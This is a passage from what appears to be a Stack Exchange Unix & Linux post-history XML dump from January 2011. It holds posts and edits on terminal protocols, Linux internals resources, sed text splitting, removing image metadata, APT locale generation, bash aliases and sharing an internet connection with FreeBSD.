href=&quot;http://linux.die.net/man/1/minicom&quot;&gt;`minicom`&lt;/a&gt; and GUI &quot;terminal&quot; programs like `xterm`, GNOME Terminal, the OS X Terminal, etc., are a few common standards:&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Ansi_terminal&quot;&gt;ANSI X3.64&lt;/a&gt;**: A standard for controlling &quot;glass terminals&quot; &amp;mdash; as opposed to &lt;a href=&quot;http://en.wikipedia.org/wiki/Teletype&quot;&gt;teletypes&lt;/a&gt; &amp;mdash; it is based on special sequences of characters which the remote terminal interprets. For instance, if the Unix box wants to tell the terminal to move its cursor to the upper left corner of the screen, it sends the characters `ESC` `[` `1` `;` `1` `H`. The first two characters tell the terminal to expect a control sequence, the 1s are the row and column, and `H` is the command meaning &quot;move cursor&quot;. Unix programs don't embed these &lt;a href=&quot;http://en.wikipedia.org/wiki/Escape_sequences&quot;&gt;escape sequences&lt;/a&gt;, it's all handled by the libraries mentioned above.&#xD;&#xA;&#xD;&#xA; Trivia: many PC &lt;a href=&quot;http://en.wikipedia.org/wiki/Bulletin_board_system&quot;&gt;BBSes&lt;/a&gt; used ANSI codes, too. (&lt;a href=&quot;http://www.telnetbbsguide.com/&quot;&gt;Still do&lt;/a&gt;, actually.)&#xD;&#xA;&#xD;&#xA; * **DEC &lt;a href=&quot;http://en.wikipedia.org/wiki/Vt100&quot;&gt;VT100&lt;/a&gt;**: A variant of the ANSI terminal standard, it became popular enough that it's still supported by most terminal programs in some form. Sometimes you see this called the VT102 protocol, that being a later cost-reduced &amp;mdash; and therefore more popular &amp;mdash; version of the same terminal design. Usually terminal emulators actually support one of the extensions to this protocol, introduced with newer DEC terminals. The most common are the VT220 and VT320 protocols. Each of these later terminal types has more capabilities, so the driving factor determining which terminal types a program can emulate is how capable that program is.&#xD;&#xA;&#xD;&#xA; These protocols are a backwards-compatible series, so sometimes you'll have a terminal emulator that says it supports VT320, but is missing a few things, yet is still useful because it supports enough of that protocol to work with your programs. If you only use the VT220 subset of the protocol, that terminal emulator may be fully functional even though you've told `curses` (or whatever) that you want programs using it to use the VT320 protocol.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://invisible-island.net/xterm/ctlseqs/ctlseqs.html&quot;&gt;xterm&lt;/a&gt;**: A kind of amalgam of ANSI and the VT-whatever standards. Whenever you're using a GUI terminal emulator like xterm or one of its derivatives, you're usually also using the xterm terminal protocol, typically the more modern `xterm-color` variant.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Linux_terminal&quot;&gt;Linux&lt;/a&gt;**: The Linux console also uses an extended variant of the ANSI terminal protocol, in the same spirit as the `xterm` protocols. Most of its extensions have to do with the differences between a PC and a glass terminal. For example, the IBM keyboard has some keys not on a DEC VT-whatever. (And vice versa.)&#xD;&#xA;&#xD;&#xA; Like Linux, some Unix systems have their own console terminal protocol, too. There's the `scoansi` ANSI X3.64 variant for SCO Unixes, for example.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Wyse&quot;&gt;Wyse&lt;/a&gt;**: A company, still around, that got started making glass terminals back in the minicomputer days. Although Wyse terminals were able to emulate the VT100 and other popular terminal protocols, they also had their own native codes. I mention it only because you still sometimes see programs that know these codes.&#xD;&#xA;&#xD;&#xA;You can find out which terminal standard you're asking libraries like `curses` to use by looking at the `TERM` environment variable:&#xD;&#xA;&#xD;&#xA;    $ echo $TERM&#xD;&#xA;    xterm-color&#xD;&#xA;&#xD;&#xA;When you `ssh` to another system, the `TERM` variable is carried along so the remote Unix box knows how to communicate with your local terminal.&#xD;&#xA;&#xD;&#xA;Because so many of these protocols are ANSI X3.64 variants, and because the ubiquitous ASCII and UTF-8 character coding standards take care of so much else, an incorrect `TERM` variable isn't typically catastrophic. Things that tend to break are extended keys like Home and Page Up, Alt-whatever key combinations, and typographical display features like color, boldface, etc." />
  <row Id="13541" PostHistoryTypeId="25" PostId="5977" RevisionGUID="d65c79ec-2073-4fe7-b48a-d37d56386eb3" CreationDate="2011-01-17T13:55:38.317" Comment="http://twitter.com/#!/StackUnix/status/27001098451554304" />
  <row Id="13542" PostHistoryTypeId="2" PostId="5978" RevisionGUID="ecb44384-9789-4ded-963c-be07c9d7448b" CreationDate="2011-01-17T14:09:53.747" UserId="1036" Text="The Linux file/directory hierarchy is covered by the [File Hierarchy Standard](http://www.pathname.com/fhs/) or FHS.&#xD;&#xA;&#xD;&#xA;How the OS works at a &quot;deeper&quot; level is a far more complicated topic.  In general the surface level are the user commands ... mostly those in the /bin and /usr/bin directories which are covered in the chapter 1 section of the man pages.  The next level down are the standard library functions and interfaces (on the programming side) which are covered in chapter 3 on most UNIX systems (including Linux). The system level utilities are found in /sbin and /usr/sbin and covered by man chapter 8, and configuration files are stored in /etc and covered by manual pages in chapter 5.&#xD;&#xA;&#xD;&#xA;The next lower level of detail would be the system call interface.  That's covered by man pages in section/chapter two.  System calls are functions in the kernel ... and the details for exactly how to call them are mostly covered by your C programming libraries (libc --- which are provided on must Linux systems in the form of glibc --- GNU lib for C).&#xD;&#xA;&#xD;&#xA;The kernel itself is written in C but, as you might expect if you consider the &quot;chicken-and-egg&quot; issue, it is not linked against libc.  So the kernel provides functions that the C libraries depend on.  User space programs, such as the 'ls' command, your shell, any editors, and, in fact, the compilers and linkers used to turn source code into running programs, are all linked to these C libraries. (Also it's normal for C libraries to &quot;wrap&quot; system calls with their own implementations which have the same names as the system calls but provide some degree of portability, possibly adding some hooks for debugging, tracing, or error handling).&#xD;&#xA;&#xD;&#xA;The deepest levels of detail are, of course, the kernel sources themselves.  These document exactly what the kernel implements.  For example if you want to see precisely the list of places and filenames the kernel attempts to find and execute as the &quot;init&quot; process you can see it in init/main.c&#xD;&#xA;&#xD;&#xA;I participated briefly and casually in an effort, a few years ago, to create have organized kernel source study sessions with some guided tours and lectures.  Parts of this were documented on pages at [Wikiversity: Reading the Linux Kenrel Sources](http://en.wikiversity.org/wiki/Reading_the_Linux_Kernel_Sources).  There are still some useful discussions for getting the curious and self-motivated reader started.  (However, you still need to be able to read C source code and perhaps understand some inline assembly to really study it).&#xD;&#xA;&#xD;&#xA;The real question is just as the announcer will usually intones at those playing the limbo ... &quot;How can you gooooo?&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13543" PostHistoryTypeId="5" PostId="5978" RevisionGUID="212cc052-4821-468e-8763-b024a88a07cb" CreationDate="2011-01-17T14:14:55.053" UserId="1036" Comment="Fixed a couple of typos and clarified final paragraph." Text="The Linux file/directory hierarchy is covered by the [File Hierarchy Standard](http://www.pathname.com/fhs/) or FHS.&#xD;&#xA;&#xD;&#xA;How the OS works at a &quot;deeper&quot; level is a far more complicated topic.  In general the surface level are the user commands ... mostly those in the /bin and /usr/bin directories which are covered in the chapter 1 section of the man pages.  The next level down are the standard library functions and interfaces (on the programming side) which are covered in chapter 3 on most UNIX systems (including Linux). The system level utilities are found in /sbin and /usr/sbin and covered by man chapter 8, and configuration files are stored in /etc and covered by manual pages in chapter 5.&#xD;&#xA;&#xD;&#xA;The next lower level of detail would be the system call interface.  That's covered by man pages in section/chapter two.  System calls are functions in the kernel ... and the details for exactly how to call them are mostly covered by your C programming libraries (libc --- which are provided on must Linux systems in the form of glibc --- GNU lib for C).&#xD;&#xA;&#xD;&#xA;The kernel itself is written in C but, as you might expect if you consider the &quot;chicken-and-egg&quot; issue, it is not linked against libc.  So the kernel provides functions that the C libraries depend on.  User space programs, such as the 'ls' command, your shell, any editors, and, in fact, the compilers and linkers used to turn source code into running programs, are all linked to these C libraries. (Also it's normal for C libraries to &quot;wrap&quot; system calls with their own implementations which have the same names as the system calls but provide some degree of portability, possibly adding some hooks for debugging, tracing, or error handling).&#xD;&#xA;&#xD;&#xA;The deepest levels of detail are, of course, the kernel sources themselves.  These document exactly what the kernel implements.  For example if you want to see precisely the list of places and filenames the kernel attempts to find and execute as the &quot;init&quot; process you can see it in init/main.c&#xD;&#xA;&#xD;&#xA;I participated briefly and casually in an effort, a few years ago, to organize a series of kernel source study sessions with some guided tours and lectures and create an online study guide for understanding them.  Parts of this were documented on pages at [Wikiversity: Reading the Linux Kernel Sources](http://en.wikiversity.org/wiki/Reading_the_Linux_Kernel_Sources).  There are still some useful discussions for getting the curious and self-motivated reader started.  (However, you still need to be able to read C source code and perhaps understand some inline assembly to really study it).&#xD;&#xA;&#xD;&#xA;The real question is just as the announcer will usually intones at those playing the limbo ... &quot;How can you gooooo?&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13544" PostHistoryTypeId="2" PostId="5979" RevisionGUID="9eb743f9-ddf5-4aea-a9af-174da53f451b" CreationDate="2011-01-17T14:17:54.567" UserId="3447" Text="[Crunchbang Linux](http://www.crunchbanglinux.org)&#xD;&#xA;&#xD;&#xA;It used to be based on Ubuntu, but now it's based on Debian.  It comes with Openbox as the default window manager.  The default Debian install uses Gnome which is quite a bit heaver than Openbox." />
  <row Id="13545" PostHistoryTypeId="2" PostId="5980" RevisionGUID="22bcc8bc-fe90-46fc-a145-601ab9d450e9" CreationDate="2011-01-17T14:18:32.023" UserId="29" Text="I've got a long line that I want to insert a space every 4 characters, on a single lone line of solid text to make it easier to read, what's the simplest way to do this? also I should be able to input the line from a pipe. e.g.&#xD;&#xA;&#xD;&#xA;    echo &quot;foobarbazblargblurg&quot; | `split`&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;    foob arba zbla rgbl urg" />
  <row Id="13546" PostHistoryTypeId="1" PostId="5980" RevisionGUID="22bcc8bc-fe90-46fc-a145-601ab9d450e9" CreationDate="2011-01-17T14:18:32.023" UserId="29" Text="How do I insert a space every four characters in a long line?" />
  <row Id="13547" PostHistoryTypeId="3" PostId="5980" RevisionGUID="22bcc8bc-fe90-46fc-a145-601ab9d450e9" CreationDate="2011-01-17T14:18:32.023" UserId="29" Text="écommandölineàéshellàétextöprocessingà" />
  <row Id="13548" PostHistoryTypeId="6" PostId="5977" RevisionGUID="8b849ffb-050a-4921-bcba-267b51d388e1" CreationDate="2011-01-17T14:22:59.270" UserId="29" Comment="arch-linux is a distro not for architecture." Text="élinuxàéfhsàéarchitectureà" />
  <row Id="13549" PostHistoryTypeId="2" PostId="5981" RevisionGUID="5fe6c990-4fee-4ca5-9970-8e2ee89d09b2" CreationDate="2011-01-17T14:26:32.010" UserId="872" Text="Use sed as follows:&#xD;&#xA;&#xD;&#xA;    $ echo &quot;foobarbazblargblurg&quot; | sed 's/.\{4\}/&amp; /g'&#xD;&#xA;    foob arba zbla rgbl urg&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13550" PostHistoryTypeId="2" PostId="5982" RevisionGUID="d462fb36-ad0c-4fcb-abc4-aedd788f552e" CreationDate="2011-01-17T14:26:42.870" UserId="2119" Text="What tools can I use to delete all the EXIF, IPTC, XMP, etc metadata from graphics files?" />
  <row Id="13551" PostHistoryTypeId="1" PostId="5982" RevisionGUID="d462fb36-ad0c-4fcb-abc4-aedd788f552e" CreationDate="2011-01-17T14:26:42.870" UserId="2119" Text="What tools to use to eliminate metadata in graphics files?" />
  <row Id="13552" PostHistoryTypeId="3" PostId="5982" RevisionGUID="d462fb36-ad0c-4fcb-abc4-aedd788f552e" CreationDate="2011-01-17T14:26:42.870" UserId="2119" Text="égraphicsàéexifàéiptcàéxmpàémetadataà" />
  <row Id="13553" PostHistoryTypeId="5" PostId="5980" RevisionGUID="802df91c-c2a3-43a2-aee3-e0d0fd1c9171" CreationDate="2011-01-17T14:27:06.953" UserId="29" Comment="split is an actual command, but I don't think it can do this, it's for splitting files." Text="I've got a long line that I want to insert a space every 4 characters, on a single lone line of solid text to make it easier to read, what's the simplest way to do this? also I should be able to input the line from a pipe. e.g.&#xD;&#xA;&#xD;&#xA;    echo &quot;foobarbazblargblurg&quot; | &lt;some command here&gt;&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;    foob arba zbla rgbl urg" />
  <row Id="13555" PostHistoryTypeId="2" PostId="5984" RevisionGUID="4a446cce-0278-4054-bfb5-513c4a0a5ba5" CreationDate="2011-01-17T14:39:43.863" UserId="2701" Text="It is unlikely that installing Perl into its normal root will interfere with cPanel, depending on the configuration. What does `which perl` return?&#xD;&#xA;&#xD;&#xA;Technically you can install Git, or even Git plus its dependencies, without having Perl installed. Please note that doing so may affect certain functionality within Git.&#xD;&#xA;&#xD;&#xA;`yum -y install yum-downloadonly &amp;&amp; yum install --downloadonly --downloaddir=/foo/bar/ git`&#xD;&#xA;&#xD;&#xA;This will download current rpm's for Git and its dependencies (perl-Error and perl-Git) to /foo/bar/. Now you can `rpm -ivh --nodeps /foo/bar/{git,perl-{Error,Git}}*.rpm`" />
  <row Id="13556" PostHistoryTypeId="2" PostId="5985" RevisionGUID="0440b451-f713-438c-9d96-6e6d20c69121" CreationDate="2011-01-17T15:34:26.453" UserId="872" Text="Try **exiftool** (which is written in perl):&#xD;&#xA;&#xD;&#xA;https://owl.phy.queensu.ca/~phil/exiftool/&#xD;&#xA;&#xD;&#xA;usage: &#xD;&#xA;&#xD;&#xA;    exiftool -all= image.jpg" />
  <row Id="13557" PostHistoryTypeId="5" PostId="5811" RevisionGUID="db0cf1cd-d9e2-43ab-894d-4b7ece1cc600" CreationDate="2011-01-17T16:28:38.670" UserId="2072" Comment="deleted 25 characters in body" Text="Having a system for collecting performance statistics can be extremely useful. In the past, I've used [Munin][1] for this, and it has been invaluable in analyzing bottlenecks and various other issues. I was recently made aware of [collectd][2], which seems very similar to Munin.&#xD;&#xA;&#xD;&#xA;What monitoring applications are available and should be considered (other than Munin and Collectd), and how do you choose which one to use?&#xD;&#xA;&#xD;&#xA;  [1]: http://munin-monitoring.org/&#xD;&#xA;  [2]: http://collectd.org/" />
  <row Id="13560" PostHistoryTypeId="2" PostId="5986" RevisionGUID="cc5f309e-23bb-4d3e-81cc-a6254e2896a0" CreationDate="2011-01-17T16:43:21.133" UserId="3646" Text="[jhead][1] can be used to delete metadata from JPG files. The following command line options to jhead are available (quoting the man page for jhead below):&#xD;&#xA;&#xD;&#xA;       -dc    Delete comment field from the JPEG header.  Note that the comment is not part of the Exif header.&#xD;&#xA;       -de    Delete the Exif header entirely.  Leaves other metadata sections intact.&#xD;&#xA;       -di    Delete the IPTC section, if present.  Leaves other metadata sections intact.&#xD;&#xA;       -dx    Delete the XMP section, if present.  Leaves other metadata sections intact.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sentex.net/~mwandel/jhead/" />
  <row Id="13561" PostHistoryTypeId="2" PostId="5987" RevisionGUID="bcb8c5eb-f0c9-45c4-bb4f-1c631e4a2aba" CreationDate="2011-01-17T16:44:49.167" UserId="3097" Text="Each time I install or operate in other means l10n-related packages, the APT system &quot;rebuilds&quot; a lot of English locales, which takes considerable time. Look at the APT log:&#xD;&#xA;  &#xD;&#xA;    Configuring language-pack-en-base (1:10.10+20100930) ...&#xD;&#xA;    Generating locales...&#xD;&#xA;      en_AG.UTF-8... up-to-date&#xD;&#xA;      en_AU.UTF-8... up-to-date&#xD;&#xA;      en_BW.UTF-8... up-to-date&#xD;&#xA;      en_CA.UTF-8... up-to-date&#xD;&#xA;      en_DK.UTF-8... up-to-date&#xD;&#xA;      en_GB.UTF-8... up-to-date&#xD;&#xA;      en_HK.UTF-8... up-to-date&#xD;&#xA;      en_IE.UTF-8... up-to-date&#xD;&#xA;      en_IN.UTF-8... up-to-date&#xD;&#xA;      en_NG.UTF-8... up-to-date&#xD;&#xA;      en_NZ.UTF-8... up-to-date&#xD;&#xA;      en_PH.UTF-8... up-to-date&#xD;&#xA;      en_SG.UTF-8... up-to-date&#xD;&#xA;      en_US.UTF-8... up-to-date&#xD;&#xA;      en_ZA.UTF-8... up-to-date&#xD;&#xA;      en_ZW.UTF-8... up-to-date&#xD;&#xA;    Generation complete.&#xD;&#xA;&#xD;&#xA;And this happens for each package.&#xD;&#xA;&#xD;&#xA;I don't need all those variants - most of the time I use non-English locale altogether. For me `en_US` and `en_GB` would be sufficient.&#xD;&#xA;&#xD;&#xA;So my questions are:&#xD;&#xA;&#xD;&#xA; - Are all those `en_*` variants really installed on my machine? How to check that?&#xD;&#xA;&#xD;&#xA; - If they are, how to cleanly remove them and prevent APT from generating them?" />
  <row Id="13562" PostHistoryTypeId="1" PostId="5987" RevisionGUID="bcb8c5eb-f0c9-45c4-bb4f-1c631e4a2aba" CreationDate="2011-01-17T16:44:49.167" UserId="3097" Text="How to control the list of locales which are generated by APT?" />
  <row Id="13563" PostHistoryTypeId="3" PostId="5987" RevisionGUID="bcb8c5eb-f0c9-45c4-bb4f-1c631e4a2aba" CreationDate="2011-01-17T16:44:49.167" UserId="3097" Text="éaptà" />
  <row Id="13564" PostHistoryTypeId="2" PostId="5988" RevisionGUID="e02fc962-2063-460e-958d-7d508da9746f" CreationDate="2011-01-17T16:54:47.930" UserId="1267" Text="&#xD;&#xA;I am using Ubuntu and i would like to know the answer for this question:&#xD;&#xA;&#xD;&#xA;- How does one determine whether his/her APPLE IPOD's charge is full in Linux?&#xD;&#xA;&#xD;&#xA;In windows it's easy since iTunes, shows the charge on the IPOD. But in Linux neither Rhytmbox nor gTKpod shows the battery charge available. Any help regarding this." />
  <row Id="13565" PostHistoryTypeId="1" PostId="5988" RevisionGUID="e02fc962-2063-460e-958d-7d508da9746f" CreationDate="2011-01-17T16:54:47.930" UserId="1267" Text="Apple IPOD Battery Charge check" />
  <row Id="13566" PostHistoryTypeId="3" PostId="5988" RevisionGUID="e02fc962-2063-460e-958d-7d508da9746f" CreationDate="2011-01-17T16:54:47.930" UserId="1267" Text="ésoftwareömanagerà" />
  <row Id="13567" PostHistoryTypeId="5" PostId="5977" RevisionGUID="e8d57f31-9bcd-43f0-901d-77c32dae8a75" CreationDate="2011-01-17T16:55:03.793" UserId="73" Comment="added 8 characters in body; edited title" Text="I want to learn the Linux file hierarchy and how the OS works at a deeper level. Are there any ebooks or webpages to learn that?" />
  <row Id="13568" PostHistoryTypeId="4" PostId="5977" RevisionGUID="e8d57f31-9bcd-43f0-901d-77c32dae8a75" CreationDate="2011-01-17T16:55:03.793" UserId="73" Comment="added 8 characters in body; edited title" Text="Resources to learn linux architecture in detail?" />
  <row Id="13569" PostHistoryTypeId="25" PostId="5980" RevisionGUID="80e24e39-1766-4a98-bb50-fa5b3e44fd7e" CreationDate="2011-01-17T16:55:38.910" Comment="http://twitter.com/#!/StackUnix/status/27046399312924672" />
  <row Id="13570" PostHistoryTypeId="2" PostId="5989" RevisionGUID="ab5b42bb-711e-4506-a698-0b1f68f22a82" CreationDate="2011-01-17T17:04:22.947" UserId="3887" Text="[Anatomy of the Linux Filesystem][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CBcQFjAA&amp;url=http%3A%2F%2Fwww.ibm.com%2Fdeveloperworks%2Flinux%2Flibrary%2Fl-linux-filesystem%2F&amp;rct=j&amp;q=anatomy%20linux%20filesystem&amp;ei=dnY0TYywDYW0lQeAyY2WCg&amp;usg=AFQjCNFoW6dvjBHUso0_kdQebq24yFJjtA&amp;sig2=UY89PI_Th1ukAEK3KHcm-Q&amp;cad=rja" />
  <row Id="13571" PostHistoryTypeId="2" PostId="5990" RevisionGUID="ab25c204-f4db-4151-8ee5-5b127b76669d" CreationDate="2011-01-17T18:00:48.040" UserId="1207" Text="The last time I checked, the answer to this was a bit Distro specific.&#xD;&#xA;&#xD;&#xA;In Debian:&#xD;&#xA;&#xD;&#xA;    # dpkg-reconfigure locales&#xD;&#xA;&#xD;&#xA;In Ubuntu:&#xD;&#xA;&#xD;&#xA;1. Edit `/var/lib/locales/supported.d/en` and `/var/lib/locales/supported.d/local` to only include those locales you want.&#xD;&#xA;&#xD;&#xA;2. Run `# dpkg-reconfigure locales`" />
  <row Id="13572" PostHistoryTypeId="2" PostId="5991" RevisionGUID="1dd6f237-0067-40c6-abb3-42dd098f5ce1" CreationDate="2011-01-17T18:16:24.897" UserId="3892" Text="Is there a way to have bash automatically load shell scripts I create and place into /usr/bin?&#xD;&#xA;&#xD;&#xA;Or is there a different place I should put custom shell scripts so that they are automatically loaded?&#xD;&#xA;&#xD;&#xA;For example suppose I create a script called `myscript` with contents:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    alias e=echo&#xD;&#xA;&#xD;&#xA;and make it executable (`chmod a+x`), and put it into usr/bin. I am not able to call e from the commandline (when I try, it says the command wasn't found).&#xD;&#xA;&#xD;&#xA;What am I doing wrong?" />
  <row Id="13573" PostHistoryTypeId="1" PostId="5991" RevisionGUID="1dd6f237-0067-40c6-abb3-42dd098f5ce1" CreationDate="2011-01-17T18:16:24.897" UserId="3892" Text="automatically load shell scripts from /usr/bin" />
  <row Id="13574" PostHistoryTypeId="3" PostId="5991" RevisionGUID="1dd6f237-0067-40c6-abb3-42dd098f5ce1" CreationDate="2011-01-17T18:16:24.897" UserId="3892" Text="ébashàéubuntuàéshellöscriptà" />
  <row Id="13575" PostHistoryTypeId="5" PostId="5990" RevisionGUID="3293a268-3458-4081-9c21-1b4d0abb9efd" CreationDate="2011-01-17T18:19:02.813" UserId="1207" Comment="added 406 characters in body" Text="The extent to which the `en_*` locales actually take up space on your system really depends on the packages you have installed.  In general, locale data is stored in `/usr/lib/locale`.&#xD;&#xA;&#xD;&#xA;The last time I checked, changing the locales that are generated was a bit Distro specific.&#xD;&#xA;&#xD;&#xA;In Debian:&#xD;&#xA;&#xD;&#xA;    # dpkg-reconfigure locales&#xD;&#xA;&#xD;&#xA;In Ubuntu:&#xD;&#xA;&#xD;&#xA;1. Edit `/var/lib/locales/supported.d/en` and `/var/lib/locales/supported.d/local` to only include those locales you want.&#xD;&#xA;&#xD;&#xA;2. Run `# dpkg-reconfigure locales`&#xD;&#xA;&#xD;&#xA;If you want to reclaim the space used by some of those other locales, you can try the `localepurge` package in Debian or Ubuntu; however, as the man page warns, it can sometimes cause problems." />
  <row Id="13576" PostHistoryTypeId="2" PostId="5992" RevisionGUID="d6d08e5d-7ee4-4dae-aa72-44a79cc83f72" CreationDate="2011-01-17T18:28:50.830" UserId="3886" Text="Such commands should be placed in ~/.bashrc" />
  <row Id="13577" PostHistoryTypeId="2" PostId="5993" RevisionGUID="7b126c59-fc2d-473c-8165-68e2db200e8a" CreationDate="2011-01-17T18:35:36.247" UserId="1207" Text="The alias you have defined will only take effect once the `alias` command is actually called.  Thus if you were to do this:&#xD;&#xA;&#xD;&#xA;    $ myscript&#xD;&#xA;    $ e &quot;Hello&quot;&#xD;&#xA;&#xD;&#xA;It should work.  However, this is clearly not ideal since you want `e` to be available whenever you start bash.  Luckily, bash provides a number of ways to automatically run commands when the shell is started.  For the full details of how bash starts up, see [the manual page][1].  For our purposes, it is enough to know that `~/.bashrc` (that is, a file named &quot;.bashrc&quot; in your home directory) is run as your shell starts up.  Thus, one way to make your alias available at startup would be to add this line at the end:&#xD;&#xA;&#xD;&#xA;`myscript`&#xD;&#xA;&#xD;&#xA;However, if you were to do this for every alias you wanted, your `/usr/bin` folder would likely become a mess.  And, if you are on a multi-user system, filling `/usr/bin/` with scripts like this may cause other users problems as well.  Thus, it is better to place your aliases right inside `.bashrc` and forgo the separate script all together.  Since you are using Ubuntu, inside your `.bashrc` file you probably have something that looks like this:&#xD;&#xA;&#xD;&#xA;    if [ -f ~/.bash_aliases ]; then&#xD;&#xA;    . ~/.bash_aliases &#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;This code looks for a file call `.bash_aliases` in your home directory and runs anything it finds in that file as well.  If you have this, or if you add this code to your `.bashrc`, you could also put your alias in `~/.bash_aliases`. This provides an easy way to keep all your aliases in one place and keep your `.bashrc` file uncluttered.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man1/bash.1.html#contenttoc6" />
  <row Id="13578" PostHistoryTypeId="2" PostId="5994" RevisionGUID="207597f8-e549-4411-b515-9883b79af735" CreationDate="2011-01-17T18:38:06.200" UserId="3893" Text="Hi, &#xD;&#xA;&#xD;&#xA;I have this situation: My debian laptop is connected to the Internet via its wlan interface through my wireless router. And lately I decided to install freebsd on a very old machine (a celeron 300Mhz) which has only one ethernet interface.&#xD;&#xA;&#xD;&#xA;I can't connect this desktop (celeron) to the router (distance and cables concerns) so I was wondering how to make the debian laptop share its Internet access with the freebsd desktop with a little cable.&#xD;&#xA;&#xD;&#xA;I've read about [&quot;Network bridging&quot;][1] and I think I can do that on the debian side, but I still wonder how to proceed on the freebsd celeron desktop.&#xD;&#xA;&#xD;&#xA;Can you please give me a detaled little how-to make this Celeron access the Internet so I can upgrade/install stuff on it?&#xD;&#xA;&#xD;&#xA;Thanks a lot!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.debian.org/BridgeNetworkConnections" />
  <row Id="13579" PostHistoryTypeId="1" PostId="5994" RevisionGUID="207597f8-e549-4411-b515-9883b79af735" CreationDate="2011-01-17T18:38:06.200" UserId="3893" Text="share Internet connexion from a Debian laptop to a Freebsd Desktop" />
  <row Id="13580" PostHistoryTypeId="3" PostId="5994" RevisionGUID="207597f8-e549-4411-b515-9883b79af735" CreationDate="2011-01-17T18:38:06.200" UserId="3893" Text="énetworkingàédebianàéfreebsdàéinternetàébridgeà" />
  <row Id="13581" PostHistoryTypeId="5" PostId="5993" RevisionGUID="88699211-2b92-4d27-94ca-843dffe52c22" CreationDate="2011-01-17T18:42:10.347" UserId="1207" Comment="added 9 characters in body" Text="The alias you have defined will only take effect once the `alias` command is actually called.  Thus if you were to do this:&#xD;&#xA;&#xD;&#xA;    $ myscript&#xD;&#xA;    $ e &quot;Hello&quot;&#xD;&#xA;&#xD;&#xA;It should work.  However, this is clearly not ideal since you want `e` to be available whenever you start bash.  Luckily, bash provides a number of ways to automatically run commands when the shell is started.  For the full details of how bash starts up, see [the manual page][1].  For our purposes, it is enough to know that `~/.bashrc` (that is, a file named &quot;.bashrc&quot; in your home directory) is run as your shell starts up.  One way to make your alias available at startup would be to add this line at the end of `~/.bashrc`:&#xD;&#xA;&#xD;&#xA;`myscript`&#xD;&#xA;&#xD;&#xA;However, if you were to do this for every alias you wanted, your `/usr/bin` folder would likely become a mess.  And, if you are on a multi-user system, filling `/usr/bin/` with scripts like this may cause other users problems as well.  Thus, it is better to place your aliases right inside `.bashrc` and forgo the separate script all together.  Since you are using Ubuntu, inside your `.bashrc` file you probably have something that looks like this:&#xD;&#xA;&#xD;&#xA;    if [ -f ~/.bash_aliases ]; then&#xD;&#xA;    . ~/.bash_aliases &#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;This code looks for a file call `.bash_aliases` in your home directory and runs anything it finds in that file as well.  If you have this, or if you add this code to your `.bashrc`, you could also put your alias in `~/.bash_aliases`. This provides an easy way to keep all your aliases in one place and keep your `.bashrc` file uncluttered.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man1/bash.1.html#contenttoc6" />
  <row Id="13582" PostHistoryTypeId="5" PostId="5994" RevisionGUID="504f4d08-7171-4485-a81a-28fb21ec92c0" CreationDate="2011-01-17T18:47:08.813" UserId="73" Comment="deleted 128 characters in body; edited title" Text="I have this situation: My Debian laptop is connected to the Internet via its wlan interface through my wireless router. Recently I decided to install FreeBSD on a very old machine (a celeron 300Mhz) which has only one ethernet interface.&#xD;&#xA;&#xD;&#xA;I can't connect this desktop (celeron) to the router (distance and cable concerns), so I was wondering how to make the Debian laptop share its Internet access with the FreeBSD desktop with a little cable.&#xD;&#xA;&#xD;&#xA;I've read about [&quot;Network bridging&quot;][1] and I think I can do that on the Debian side, but I still wonder how to proceed on the FreeBSD celeron desktop. How can I let this celeron access the Internet so I can upgrade/install stuff on it?" />
  <row Id="13583" PostHistoryTypeId="4" PostId="5994" RevisionGUID="504f4d08-7171-4485-a81a-28fb21ec92c0" CreationDate="2011-01-17T18:47:08.813" UserId="73" Comment="deleted 128 characters in body; edited title" Text="Share Internet connection from a Debian laptop to a FreeBSD desktop" />
  <row Id="13584" PostHistoryTypeId="5" PostId="5994" RevisionGUID="0f04a4fa-0207-4899-8bb8-405da57810fe" CreationDate="2011-01-17T18:49:17.860" UserId="1207" Comment="added 56 characters in body" Text="I have this situation: My Debian laptop is connected to the Internet via its wlan interface through my wireless router. Recently I decided to install FreeBSD on a very old machine (a celeron 300Mhz) which has only one ethernet interface.&#xD;&#xA;&#xD;&#xA;I can't connect this desktop (celeron) to the router (distance and cable concerns), so I was wondering how to make the Debian laptop share its Internet access with the FreeBSD desktop with a little cable.&#xD;&#xA;&#xD;&#xA;I've read about [network bridging][1] and think I can do that on the Debian side, but I still wonder how to proceed on the FreeBSD celeron desktop. How can I let this celeron access the Internet so I can upgrade/install stuff on it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.debian.org/BridgeNetworkConnections" />
